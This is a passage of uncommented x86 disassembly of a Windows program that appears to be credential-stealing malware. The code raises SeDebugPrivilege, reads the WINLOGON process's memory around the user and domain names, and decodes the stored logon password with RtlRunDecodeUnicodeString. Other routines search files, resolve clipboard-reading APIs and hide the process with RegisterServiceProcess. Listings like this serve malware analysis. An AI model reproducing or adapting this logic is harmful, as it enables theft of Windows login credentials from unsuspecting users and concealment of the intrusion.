		call	sub_41782A
		mov	edi, ds:off_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; sub_49B334
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2

loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E

loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:off_4240B8
		test	eax, eax
		jnz	short loc_408F31

loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		call	ds:off_4240AC
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; sub_49B334
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028

loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:off_4240B8
		test	eax, eax
		jnz	short loc_408FD9

loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		call	ds:off_4240AC
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5235o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------

loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:off_4240E0
		mov	esi, ds:off_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi ; sub_49C076
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	ds:dword_43F314, eax
		call	esi ; sub_49C076
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	ds:dword_43F308, eax
		call	esi ; sub_49C076
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	ds:dword_43F518, eax
		call	esi ; sub_49C076
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	ds:dword_43F310, eax
		call	esi ; sub_49C076
		mov	ds:dword_43F30C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, ds:dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_43E308
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_43EB08
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_43F520
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------

loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539

loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	ds:dword_43F520, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------

loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------

loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706

loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80

loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	ds:off_4240D4
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------

loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C

loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h

loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4240E8
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	ds:dword_43F314
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E4	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	ds:dword_43F314
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6

loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	ds:dword_43F308
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	ds:dword_43F518
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E

loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	ds:dword_43F310

loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]

loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292

loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi

loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E4	; RtlFreeHeap
		mov	eax, edi

loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324

loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	ds:dword_43F310

loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------

loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	ds:dword_4240FC	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------

loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_4240F8	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_4240EC
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4240E8
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------

loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_4240F0	; VirtualQueryEx
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_409518

loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_43E308
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43EB08
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6

loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------

loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_4240B4	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_4240B0	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	ds:dword_43F52C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	ds:dword_43F524, eax
		mov	ds:dword_43F528, edi

loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E4	; RtlFreeHeap
		mov	esi, [ebp+var_10]

loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		call	ds:off_424078
		pop	edi
		mov	eax, esi
		pop	ebx

loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_4240FC	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4240F8	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, ds:dword_4240EC

loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4240F0	; VirtualQueryEx
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E8	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4240F4	; ReadProcessMemory
		test	eax, eax
		jz	short loc_409602
		push	offset dword_43E308
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43EB08
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632

loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E4	; RtlFreeHeap
		jmp	short loc_409616
; ---------------------------------------------------------------------------

loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584

loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		call	ds:off_424078

loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax

loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	ds:dword_43F524, ebx
		mov	ds:dword_43F528, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C

loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654

loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:off_424078
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_43F520
		push	esi
		mov	esi, ds:dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E8	; RtlAllocateHeap
		mov	ecx, ds:dword_43F520
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	ds:dword_43F528
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr ds:dword_43F52C
		push	eax
		call	ds:dword_43F30C
		push	[ebp+var_4]
		mov	edi, offset dword_43F318
		push	offset dword_43E308
		push	offset dword_43EB08
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4240E4	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_43F520
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_4240EC	; GetProcessHeap
		push	eax
		call	ds:dword_4240E8	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43EB08
		mov	edi, 200h
		mov	esi, offset dword_43E108

loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, ds:dword_43F520
		add	eax, eax
		push	eax
		push	ds:dword_43F528
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43F30C
		mov	eax, ds:dword_43F520
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1

loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0

loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1

loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0

loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE

loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------

loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h

loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		call	ds:dword_4240EC	; GetProcessHeap
		push	eax
		call	ds:dword_4240E4	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: sub_40E6A9+48p
		push	ebx
		push	ebp
		mov	ebp, ds:off_424100
		push	esi
		push	edi
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		call	ebp ; sub_49BF8C
		mov	esi, ds:off_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; sub_49C076
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_43F714, eax
		call	esi ; sub_49C076
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_43F688, eax
		call	esi ; sub_49C076
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_43F66C, eax
		call	esi ; sub_49C076
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_43F588, eax
		call	esi ; sub_49C076
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_43F534, eax
		call	esi ; sub_49C076
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_43F564, eax
		call	esi ; sub_49C076
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_43F5D8, eax
		call	esi ; sub_49C076
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_43F6C8, eax
		call	esi ; sub_49C076
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:off_43F724, eax
		call	esi ; sub_49C076
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_43F594, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F714, ebx
		mov	ds:dword_43F57C, eax
		jz	short loc_40991D
		cmp	ds:dword_43F688, ebx
		jz	short loc_40991D
		cmp	ds:dword_43F66C, ebx
		jz	short loc_40991D
		cmp	ds:dword_43F588, ebx
		jz	short loc_40991D
		cmp	ds:dword_43F564, ebx
		jz	short loc_40991D
		cmp	ds:dword_43F5D8, ebx
		jz	short loc_40991D
		cmp	ds:dword_43F6C8, ebx
		jz	short loc_40991D
		cmp	ds:off_43F724, ebx
		jz	short loc_40991D
		cmp	ds:dword_43F594, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927

loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	ds:dword_43F728, 1

loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; sub_49C076
		cmp	eax, ebx
		mov	ds:dword_43F6A0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------

loc_40993F:				; CODE XREF: sub_40981F+1Dj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F72C, eax
		mov	ds:dword_43F728, 1

loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:off_4240E0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; sub_49C076
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_43F6C4, eax
		call	esi ; sub_49C076
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_43F674, eax
		call	esi ; sub_49C076
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_43F608, eax
		call	esi ; sub_49C076
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_43F718, eax
		call	esi ; sub_49C076
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_43F638, eax
		call	esi ; sub_49C076
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_43F658, eax
		call	esi ; sub_49C076
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_43F6BC, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F6C4, ebx
		mov	ds:dword_43F5B0, eax
		jz	short loc_409A0D
		cmp	ds:dword_43F674, ebx
		jz	short loc_409A0D
		cmp	ds:dword_43F608, ebx
		jz	short loc_409A0D
		cmp	ds:dword_43F718, ebx
		jz	short loc_409A0D
		cmp	ds:dword_43F638, ebx
		jz	short loc_409A0D
		cmp	ds:dword_43F658, ebx
